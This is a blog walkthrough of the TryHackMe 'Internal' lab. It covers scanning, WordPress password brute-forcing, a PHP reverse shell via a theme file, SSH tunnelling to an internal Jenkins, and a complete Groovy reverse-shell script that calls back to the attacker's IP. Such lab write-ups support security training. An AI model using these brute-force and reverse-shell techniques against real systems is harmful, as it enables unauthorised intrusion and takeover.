THM: Internal
Hey folks welcome to my blog. In this blog, I’ll be presenting the write-up for a TryHackMe room called Internal. This room is rated as hard in terms of difficulty and serves as a penetration testing box.
Reconnaissance
Scanning
First things first, let’s begin by running a Nmap scan on the provided IP address.
Nmap
nmap -A -p- 10.10.123.64 -oN nmap/aggresive-scan-all-ports -T4
# Nmap 7.80 scan initiated Tue Apr 2 23:25:47 2024 as: nmap -A -p- -oN nmap/aggresive-scan-all-ports -T4 10.10.123.64
Nmap scan report for 10.10.123.64
Host is up (0.22s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 6e:fa:ef:be:f6:5f:98:b9:59:7b:f7:8e:b9:c5:62:1e (RSA)
| 256 ed:64:ed:33:e5:c9:30:58:ba:23:04:0d:14:eb:30:e9 (ECDSA)
|_ 256 b0:7f:7f:7b:52:62:62:2a:60:d4:3d:36:fa:89:ee:ff (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Apr 2 23:37:55 2024 -- 1 IP address (1 host up) scanned in 728.47 seconds
There are only two ports are open. I started enumerating these ports one by one
Enumeration
22 SSH
Port 22 is running a SSH service, which could be helpful if I had credentials.
80 HTTP
url: http://10.10.123.64
On port 80, an HTTP service is running, presenting a default Apache page. Nothing of interest was found here.
Default apache2 page:
So I decided to run gobuster to fuzz for directories.
Gobuster
gobuster dir -u http://10.10.123.64/ -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50 -o gobuster.out
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.123.64/
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/blog (Status: 301) [Size: 311] [--> http://10.10.123.64/blog/]
/wordpress (Status: 301) [Size: 316] [--> http://10.10.123.64/wordpress/]
/javascript (Status: 301) [Size: 317] [--> http://10.10.123.64/javascript/]
/phpmyadmin (Status: 301) [Size: 317] [--> http://10.10.123.64/phpmyadmin/]
/server-status (Status: 403) [Size: 277]
Progress: 220560 / 220561 (100.00%)
===============================================================
Finished
===============================================================
Gobuster listed some discovered directories, Including a wordpress blog located at /blog
.
Upon further enumeration, I discovered that the posts redirect me to a domain named internal.thm
. However, this domain is not resolving because no IP address is pointing towards it.
After adding the domain to point to the IP address in /etc/hosts
, the blog post became visible.
10.10.254.244 internal.thm
Blog post:
WPScan
Since this is a WordPress website, I decided to run WPScan with plugin, theme, and user enumeration using the command --enumerate ap,at,u
to see if I could find anything interesting here.
wpscan --url http://internal.thm/blog/ --enumerate ap,at,u -t 10 --disable-tls-checks | tee wpscan-ap-at-u.txt
User found:
WPScan found a user named admin
. Additionally, I checked for vhosts since this machine has a domain, hoping to uncover something interesting, but unfortunately, I didn’t find anything.
vhost enumeration:
gobuster vhost -u http://10.10.254.244/ -w /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt --exclude-length 422 -t 50 -o gobuster-vhost.tx
vhost results:
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.254.244/
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
[+] Append Domain: false
[+] Exclude Length: 422
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Progress: 4989 / 4990 (99.98%)
===============================================================
Finished
===============================================================
Exploitation
shell as www
Since I had discovered the user “admin” earlier, I decided to launch a password brute-force attack targeting that user.
Bruteforce admin
login:
wpscan --url http://internal.thm/blog -U user.txt -P /opt/wordlists/rockyou.txt -t 200
I managed to find valid credentials for the user admin
and successfully logged into the admin account using these credentials.
wp-admin dashboard:
It was time to obtain a shell, so I initiated a netcat listener using the rlwrap tool. This utility proved to be very helpful as it allowed me to navigate command history on a netcat shell.
rlwrap nc -lvnp 1337
Initially, I attempted to upload the reverse shell as a plugin, but this method failed. So, I explored alternative approaches, such as replacing existing PHP code with my shell. Eventually, I successfully replaced the page.php file with my reverse shell code.
To trigger the shell, I visited a post page that was loading its contents from page.php, and as expected, I successfully obtained the shell in my netcat session.
Since I couldn’t access the user’s home directory or any other directories with this privilege level, I initiated manual enumeration, carefully searching for any potential privilege escalation vectors.
/var/backups:
drwxr-xr-x 2 root root 4096 Aug 9 2020 .
drwxr-xr-x 14 root root 4096 Aug 3 2020 ..
-rw-r--r-- 1 root root 51200 Aug 9 2020 alternatives.tar.0
-rw-r--r-- 1 root root 37895 Aug 3 2020 apt.extended_states.0
-rw-r--r-- 1 root root 3974 Aug 3 2020 apt.extended_states.1.gz
-rw-r--r-- 1 root root 437 Aug 3 2020 dpkg.diversions.0
-rw-r--r-- 1 root root 207 Aug 3 2020 dpkg.statoverride.0
-rw-r--r-- 1 root root 649943 Aug 3 2020 dpkg.status.0
-rw------- 1 root root 746 Aug 3 2020 group.bak
-rw------- 1 root shadow 625 Aug 3 2020 gshadow.bak
-rw------- 1 root root 1626 Aug 3 2020 passwd.bak
-rw------- 1 root shadow 1056 Aug 3 2020 shadow.bak
In my manual enumeration, I stumbled upon some backup files and a wp-save.txt
file located in the /opt
directory.
/opt:
containerd wp-save.txt
In the wp-save.txt
file, I discovered the username and password of the user.
wp-save.txt:
Bill,
Aubreanna needed these credentials for something later. Let her know you have them and where they are.
aubreanna:REDACTED
shell as aubreanna
I used the discovered username and password to SSH into the server and successfully logged in as the user.
ssh aubreanna@10.10.254.244
Besides the “user.txt” file containing the user flag, I found another file. /home/aubreanna:
jenkins.txt snap user.txt
Upon reading the contents of the file, I learned that this machine is running Jenkins on an internal network. jenkins.txt:
Internal Jenkins service is running on 172.17.0.2:8080
shell as jenkins
To access the Internal Jenkins service running on 172.17.0.2:8080, I set up port forwarding using SSH.
ssh -f -N -L 4444:127.0.0.1:8080 aubreanna@internal.thm
After successfully accessing the Jenkins service, I encountered a login prompt requiring a username and password to access the dashboard.
I utilized Burp Intruder to brute-force the passwords using the rockyou.txt wordlist. Eventually, I received a 302
redirect response, indicating success. I managed to find the valid password for the Jenkins admin account.
With the obtained credentials, I logged into the Jenkins admin panel and began thoroughly enumerating each component, aiming to find a pathway to gain shell access.
After some research, I discovered that Jenkins can execute system commands using its Script Console, which utilizes Groovy script.
I initiated a netcat listener using the command nc -lvnp 1338
and navigated to “Manage Jenkins” > “Script Console.” I then pasted the Groovy reverse shell script found here And modified it by adding my IP address and the netcat listener port. Then, I pasted the modified script into the console text area and executed it.
groovy reverse shell:
String host="10.17.35.182";
int port=1338;
String cmd="/bin/sh";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
After obtaining the shell as the Jenkins user, I spawned a TTY shell to gain better interactive control over the shell environment
python -c 'import pty;pty.spawn("/bi/bash")'
Despite gaining access to the Jenkins user’s shell, I still couldn’t access the root user’s directory. Continuing my search for privilege escalation vectors, I stumbled upon an intriguing file named note.txt
, which contained the root credentials.
shell as root
With the root credentials in hand, I logged in as the root user. Escalating to root privilege was straightforward, as the admin had left the credentials on a container within the internal network, mistakenly assuming it would be inaccessible.
note.txt:
Aubreanna,
Will wanted these credentials secured behind the Jenkins container since we have several layers of defense here. Use them if you
need access to the root user account.
root:REDACTED
Thank you for reading. Keep hacking! Until next time.